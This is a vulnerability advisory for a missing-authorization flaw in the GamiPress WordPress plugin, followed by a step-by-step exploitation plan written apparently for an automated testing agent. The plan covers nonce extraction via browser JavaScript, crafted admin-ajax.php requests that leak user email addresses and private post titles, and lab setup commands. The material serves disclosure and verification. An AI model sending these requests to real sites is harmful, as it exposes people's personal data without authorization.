GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress <= 7.6.1 - Missing Authorization to Authenticated (Subscriber+) Information Exposure
Description
The GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the gamipress_ajax_get_posts and gamipress_ajax_get_users functions in all versions up to, and including, 7.6.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to enumerate users, including their email addresses and to retrieve titles of private posts.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-13812 - GamiPress Information Exposure ## 1. Vulnerability Summary The GamiPress plugin (<= 7.6.1) contains a missing authorization vulnerability within its AJAX handlers. Specifically, the functions `gamipress_ajax_get_posts` and `gamipress_ajax_get_users` do…
Show full research plan
Exploitation Research Plan: CVE-2025-13812 - GamiPress Information Exposure
1. Vulnerability Summary
The GamiPress plugin (<= 7.6.1) contains a missing authorization vulnerability within its AJAX handlers. Specifically, the functions gamipress_ajax_get_posts and gamipress_ajax_get_users do not implement capability checks (e.g., current_user_can( 'manage_options' )). While these handlers are registered via wp_ajax_, which requires authentication, they do not restrict access to high-privilege roles. Consequently, any authenticated user (including the low-privilege Subscriber role) can invoke these functions to enumerate user details (including email addresses) and discover the titles of private or password-protected posts.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Actions:
gamipress_get_posts(triggersgamipress_ajax_get_posts)gamipress_get_users(triggersgamipress_ajax_get_users)
- Parameters:
action:gamipress_get_postsorgamipress_get_usersnonce: (Required) A security nonce localized by the plugin.qorterm: (Probable) Search string for enumeration.
- Authentication: Required. Any user with
Subscriberrole or higher. - Preconditions: The attacker must have a valid session and a valid nonce.
3. Code Flow (Inferred)
- Entry Point: A
POSTrequest is sent toadmin-ajax.phpwithaction=gamipress_get_users. - Hook Execution: WordPress triggers the
wp_ajax_gamipress_get_usersaction. - Callback: The callback
gamipress_ajax_get_usersis executed. - Nonce Verification: The function likely calls
check_ajax_referer( 'gamipress_nonce', 'nonce' )(Action and key names to be verified). - Vulnerable Path: The function lacks a
current_user_can()check. It proceeds to callget_users()orWP_User_Querybased on thetermparameter. - Data Leak: The resulting user objects (including
user_email) or post objects (includingpost_titlefor private posts) are returned as a JSON response.
4. Nonce Acquisition Strategy
GamiPress typically localizes its admin data for authenticated users. The agent should use the following steps to retrieve the nonce:
- Login: Authenticate as a Subscriber user.
- Page Navigation: Navigate to the WordPress dashboard (
/wp-admin/index.php). Even as a subscriber, GamiPress scripts are often loaded here. - Nonce Extraction:
- Use
browser_evalto search for the GamiPress localization object. - Target Variable (Inferred):
gamipress_adminorgamipress_settings. - Target Key (Inferred):
nonceorgamipress_nonce. - Command:
browser_eval("window.gamipress_admin?.nonce || window.gamipress_settings?.nonce")
- Use
- Verification: If the nonce is not found on the dashboard, navigate to a page where GamiPress functionality is explicitly present (e.g., a page containing a GamiPress shortcode).
5. Exploitation Strategy
Step 1: User Enumeration (Email Leak)
Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
(Note: Usingaction=gamipress_get_users&nonce=[NONCE]&term=@@in the term often helps filter for email-like strings or broad results)
Step 2: Private Post Title Enumeration
Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=gamipress_get_posts&nonce=[NONCE]&term=&post_type=any
6. Test Data Setup
- Create Target Data (Admin):
- Create a private post:
wp post create --post_type=post --post_title="CONFIDENTIAL_PLAN" --post_status=private - Create an admin user with a specific email:
wp user create victim_admin admin@victim.com --role=administrator --user_pass=password123
- Create a private post:
- Create Attacker Account:
- Create a subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=attacker_pass
- Create a subscriber:
- Verify Plugin Version:
- Ensure GamiPress <= 7.6.1 is active.
7. Expected Results
- User Enumeration: The response should be a JSON array of objects. Each object should contain
id,text(display name), and crucially, theuser_emailor a similar PII field. - Post Enumeration: The response should include the title
"CONFIDENTIAL_PLAN", even though the post isprivateand the requester is only aSubscriber.
8. Verification Steps
- Response Inspection: Use
http_requestand inspect the body. - Success Criteria:
response.status == 200response.bodycontainsadmin@victim.com.response.bodycontainsCONFIDENTIAL_PLAN.
- Role Confirmation: Use
wp user get attackerto confirm the account used for exploitation did not have elevated privileges.
9. Alternative Approaches
If the standard gamipress_get_users action does not return emails, investigate if the response returns more verbose objects than intended or if there are specific parameters like include_email=true (inferred) that the function accepts without checking permission.
If the nonce is hard to find, check the page source for wp-localize-script tags:browser_eval("Array.from(document.querySelectorAll('script')).map(s => s.innerText).find(t => t.includes('gamipress'))")
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.